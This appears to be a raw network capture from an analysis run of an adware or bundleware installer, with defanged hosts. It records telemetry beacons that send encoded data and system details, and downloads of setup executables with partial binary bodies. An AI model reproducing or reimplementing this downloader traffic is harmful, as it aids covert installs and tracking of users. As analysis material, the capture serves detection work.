GET /app/ping.ashx?e=Ka qOJkckoVPNjxRBLtb40huZh9DXBQ4t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTLHu3VbtnNNfW7fKPXFAvotNHatfm97Uq6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6n8H3HAsWPGRB8kpng0IpIJ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:41 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=yhrBLBbZM9VXzPC13FVNqqpNEI 1DWq5zO3UMNseiaEicvsFwQStENB87jgWTbK//EmjUQkbJhFKaeKuWhSeEFFEB58UdZ28yvVzXSY3rM8Yky2cjJGp8U1/8E9Ve0OlwOfiWy9NaE3BTG7HloA5mtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoFCWJl7EWMlLjgYfTZkNMXzWjsRol/wIl8 ASAGXXzEp/brbEEqNX3F0lvzdXBcxyGAZSpRiXLg4A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:41 GMT
Content-Length: 0



GET /install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: log.very911.com


HTTP/1.1 404 Not Found
Server: Tengine/1.2.2
Date: Wed, 15 Apr 2015 02:28:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 668
Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=istartsurf&ptid=smt&ui
d=267123711_198339_B48A115F</td>..</tr>..<tr>..<t
d>Server:</td>..<td>us-pub00.v9.com</td>..</tr
>..<tr>..<td>Date:</td>..<td>2015/04/14 21:
28:49</td>..</tr>..</table>..<hr/>Powered by T
engine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Se
rver: Tengine/1.2.2..Date: Wed, 15 Apr 2015 02:28:49 GMT..Content-Type
: text/html; charset=utf-8..Content-Length: 668..Connection: keep-aliv
e..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html&
gt;..<head><title>404 Not Found</title></head>
..<body bgcolor="white">..<h1>404 Not Found</h1>..&l
t;p>The requested URL was not found on this server. Sorry for the i
nconvenience.<br/>..Please report this message and include the f
ollowing information to us.<br/>..Thank you very much!</p>
..<table>..<tr>..<td>URL:</td>..<td>
<<< skipped >>>


GET /webplayer/appshat/config.json HTTP/1.1
Accept: */*
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Cache-Control: max-age=0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.bigspeedpro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:33 GMT
Content-Type: application/json
Content-Length: 778
Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT
Connection: close
ETag: "52e6784e-30a"
Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....



GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=2&index_in_screen=1&index_in_session=2&0.9087786147480426 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:15 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:15 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /app/ping.ashx?e=ZuS0/O3oV2rF9NPzKqSgDyZZJBFan oyQ3G4e7S8InVQeFTjHm2lTeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/0XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii1w0MU/DXWBP&product=EXTFirefox&rnd=1429064931&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.4 HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:51 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:51 GMT..Content-Length: 0..



GET /t.ashx?e=k64GogClQtUsXAWAU9Yfxpo9cwPIlOkWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMalAK2aExBqS8WBoC4DsGrqWAqR2XPWVGhi24b6K/4pIUUAvnawhe3hcrFg62ocRzdZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=k64GogClQtUsXAWAU9Yfxpo9cwPIlOkWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMalAK2aExBqS8WBoC4DsGrqWAqR2XPWVGhi24b6K/4pIUUAvnawhe3hcrFg62ocRzdZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=k64GogClQtUsXAWAU9Yfxpo9cwPIlOkWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMalAK2aExBqS8WBoC4DsGrqWAqR2XPWVGhi24b6K/4pIUUAvnawhe3hcrFg62ocRzdZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:20 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..



GET /sd?is=sm HTTP/1.1
Range: bytes=327060-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 327060-523295/523296
Content-Length: 196236
Connection: keep-alive
$<...4P.M......6.C.......4..e.(.....7.dQ.I......l....J..:.W<.m7F
d/.!.I.s.....z...Q.(O.....h.........V...E....T..K....K...".}..O%.K...D
..Me.."..b....9.D..Q..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. .
.t..f...&......V.6......V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..
}l....m......R.....B.-c..........D..../....$..r3..........!!.o..#'..I.
[email protected]...........)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.
6.............R...J...T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.
y,u...0^[email protected]..^%2i..rJF..C..0c...}.
.&....z`.2h"'.;.L.n.....j4........b..47.....B...8....\.}Ta`.<......
..K....<..."..j.oj}.}..<aQ.........iIy..'.6E...........EI.@....&
gt;......m.........|.}[email protected]@"....G4...C..A...o
.6...97..H...%.[g..."[email protected].~P....*[email protected]....`....
..m/.........yY.>.....=...VEd.-.........q.V0..,.i.H:...X...73....Q.
.E.%.......h..q.bHO!.c...H...|..<....}....%....9..>M.......fd..&
gt;..\....._4eh..../.C [email protected].........=
.p...........L....}..Id....x..Gq.M.^.w.I'..a.\Ca.v.7#..vP..^..m..&..X.
k.L.L.....r..........S|.r....l=.YYr..`9..........e.y!..p...o........p[
......-..S..........J...x....g~........F....E....W.....D0....-p].Wx...
'...d0m;9..a......k.........c1.;...........`w.k.{O......P..E``.<b..
.....c[}.}.....Iy...j?,.s....}T>...*.V.|...L9........M..68..v]...M.
H......ycr......'.U....a...K....Z.J~..GCB&..7F.1.l.! .&.m.O)@y...x%.%.
.c>.#.....>.(KCN...m.y....J...;.s.G..i.U...}...~..z^P......B
<<< skipped >>>


GET /utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429064926 HTTP/1.1
Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: x4TEs0M7lLC1SJeIE5qqkR7pnrxF842BgfLoFr7m3UAnBjyyIG63NeS69rTnSsf9
x-amz-request-id: 3620773BE6CA8A2F
Date: Wed, 15 Apr 2015 02:28:48 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: x4TEs0
M7lLC1SJeIE5qqkR7pnrxF842BgfLoFr7m3UAnBjyyIG63NeS69rTnSsf9..x-amz-requ
est-id: 3620773BE6CA8A2F..Date: Wed, 15 Apr 2015 02:28:48 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=4&rnd=1429064930 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: rm4P4EOrA tH0PTXLprinTX2IO8IVBqeUwDILKJ5i/llLTJhorY3eQE4r9D4tH8D
x-amz-request-id: FD92324BF60E6506
Date: Wed, 15 Apr 2015 02:28:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:16 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429064930 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: KBQ5ySGluJCwGVFA0phZafbvXnP9vfzvjzDGGxLymL7uFXRxE1H25lJ/3hxv3TfN
x-amz-request-id: 8C086FADC0EDFAD1
Date: Wed, 15 Apr 2015 02:28:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: rXjw0P
oTrFw8tTTkp96k17Wx08IY8yqVk7 PHmS6ZCjoHpsFprHSWxkQrCYP0Hb0..x-amz-requ
est-id: 95F1896E07AB8ACD..Date: Wed, 15 Apr 2015 02:28:52 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;HTTP/1.1 200 OK..x-
amz-id-2: rXjw0PoTrFw8tTTkp96k17Wx08IY8yqVk7 PHmS6ZCjoHpsFprHSWxkQrCYP
0Hb0..x-amz-request-id: 95F1896E07AB8ACD..Date: Wed, 15 Apr 2015 02:28
:52 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cac
he, must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETa
g: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Conten
t-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;ont>....


GET /utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Zml1CAQuI4uwGoerp64El7st7pz2VMqYOZRhKVqlMDoGEqSqkwwFGBOeLiZvOr9B
x-amz-request-id: 73AEBE5E4FD155E5
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Zml1CA
QuI4uwGoerp64El7st7pz2VMqYOZRhKVqlMDoGEqSqkwwFGBOeLiZvOr9B..x-amz-requ
est-id: 73AEBE5E4FD155E5..Date: Wed, 15 Apr 2015 02:28:54 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: lHljAfpJQjMDPCbacqzmh2kCRPxOYU4WMZPlPN0OHduAZ0hK 2kfBpYx kBXTrnc
x-amz-request-id: 8F1ADAC58B4BD271
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: zFXyHNyhPgu/kGzSfHedVvIFiNlVm4zwDodq okgTgzYESzSxgSiZDRf O0l5zBt
x-amz-request-id: 74DB219EEE0754EF
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Cs88t52dFGfnwv3kZGeFX1PnrOQJc0sj/NFV1tHj6rJol5EdvuwQuveyHrrvsVlD
x-amz-request-id: B53451666910DCC8
Date: Wed, 15 Apr 2015 02:28:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064934 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ItWkvDlYbV5ix1ykzgqE5iQy3 z0gqF/1NlPIVLTUGKsdtfEojA57wV  bOkRccj
x-amz-request-id: B9DA166C988F2350
Date: Wed, 15 Apr 2015 02:28:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064934 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: GuJRT/KvDmOuh6F0ii mSjA/UjBzfhA3fZT4 qL7kLMcY5x0Xfp921zTWTk1sA3 
x-amz-request-id: 46F24C8A0E6F87EB
Date: Wed, 15 Apr 2015 02:28:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: GuJRT/
KvDmOuh6F0ii mSjA/UjBzfhA3fZT4 qL7kLMcY5x0Xfp921zTWTk1sA3 ..x-amz-requ
est-id: 46F24C8A0E6F87EB..Date: Wed, 15 Apr 2015 02:28:55 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064940 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: YXoY7yBXD78wDQ aVPNd9tQAHLs4LVkKfVt8pyaGUoW42bwD4quraXlJqiDq10PS
x-amz-request-id: F29AABAC776D428A
Date: Wed, 15 Apr 2015 02:29:01 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064940 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: a80kRungoxixd3/yzhbdi9KQUOEo5IYxFvzJkd4K60J8u2Az6lOteowIZ1Lf4te3
x-amz-request-id: D764EAEE2E6DD870
Date: Wed, 15 Apr 2015 02:29:01 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064940 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 0OAyc6 OAz/k9wKgs gy9ixf9ny/udyASqks6rpr7dG57sCqP3pTjp1IuPH3GuNB
x-amz-request-id: 335A7CB7F97E6CAA
Date: Wed, 15 Apr 2015 02:29:01 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 0OAyc6
 OAz/k9wKgs gy9ixf9ny/udyASqks6rpr7dG57sCqP3pTjp1IuPH3GuNB..x-amz-requ
est-id: 335A7CB7F97E6CAA..Date: Wed, 15 Apr 2015 02:29:01 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064941 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ZTYcfZDhOejFjOePXQmw9tDL80TRezy Dyzxk/ObrftbEDLbyfaLHiKmMCze07hW
x-amz-request-id: 705BCBA745B02FB5
Date: Wed, 15 Apr 2015 02:29:02 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429064941 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: AgK1aye1meaWKiApjOc8HvRQInADPSdPEtBYRvF6 SYLKDYoeD1WuM/AvULZC41u
x-amz-request-id: 0E30608C62044ADE
Date: Wed, 15 Apr 2015 02:29:02 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: AgK1ay
e1meaWKiApjOc8HvRQInADPSdPEtBYRvF6 SYLKDYoeD1WuM/AvULZC41u..x-amz-requ
est-id: 0E30608C62044ADE..Date: Wed, 15 Apr 2015 02:29:02 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=2231745-4463491
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:26 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 2231747
Content-Range: bytes 2231745-4463491/8926982
Content-Type: application/x-msdownload
sI.c.3.2g.e.../.]|U..;..x...q..1.........|34..a..e.e...j.am.q.l....1q-
QIk..>.LhW...LD."gJ...."..SH..Q$....`,l.g.Tj..8G.Y,..w..] ...n0....
